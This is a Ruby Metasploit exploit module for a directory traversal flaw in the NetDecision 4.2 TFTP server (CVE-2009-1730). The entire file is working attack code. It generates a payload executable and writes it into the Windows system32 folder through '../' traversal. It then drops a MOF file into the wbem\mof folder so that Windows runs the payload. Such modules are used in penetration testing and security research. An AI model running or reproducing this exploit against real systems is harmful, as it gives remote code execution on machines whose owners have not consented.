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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Rex::Proto::TFTP
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  include Msf::Exploit::EXE
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  include Msf::Exploit::WbemExec
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "NetDecision 4.2 TFTP Writable Directory Traversal Execution",
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      'Description'    => %q{
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          This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The
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        software contains a directory traversal vulnerability that allows a remote attacker
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        to write arbitrary file to the file system, which results in code  execution under
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        the context of user executing the TFTP Server.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Rob Kraus', # Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2009-1730'],
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          ['OSVDB', '54607'],
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          ['BID', '35002']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00",
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2', {}]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2009-05-16',
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      'DefaultTarget'  => 0))
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    register_options([
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      OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
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      OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
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      OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
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    ])
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  end
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  def upload(filename, data)
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    tftp_client = Rex::Proto::TFTP::Client.new(
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      "LocalHost"  => "0.0.0.0",
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      "LocalPort"  => 1025 + rand(0xffff-1025),
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      "PeerHost"   => datastore['RHOST'],
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      "PeerPort"   => datastore['RPORT'],
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      "LocalFile"  => "DATA:#{data}",
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      "RemoteFile" => filename,
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      "Mode"       => "octet",
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      "Context"    => {'Msf' => self.framework, "MsfExploit" => self },
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      "Action"     => :upload
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    )
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    ret = tftp_client.send_write_request { |msg| print_status(msg) }
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    while not tftp_client.complete
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      select(nil, nil, nil, 1)
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      tftp_client.stop
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    end
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  end
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  def exploit
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    peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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    # Setup the necessary files to do the wbemexec trick
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    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
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    exe      = generate_payload_exe
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    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
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    mof      = generate_mof(mof_name, exe_name)
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    # Configure how deep we want to traverse
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    depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
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    levels = "../" * depth
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    # Upload the malicious executable to C:\Windows\System32\
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    print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
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    upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
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    # Let the TFTP server idle a bit before sending another file
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    select(nil, nil, nil, 1)
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    # Upload the mof file
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    print_status("#{peer} - Uploading .mof...")
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    upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
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  end
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end
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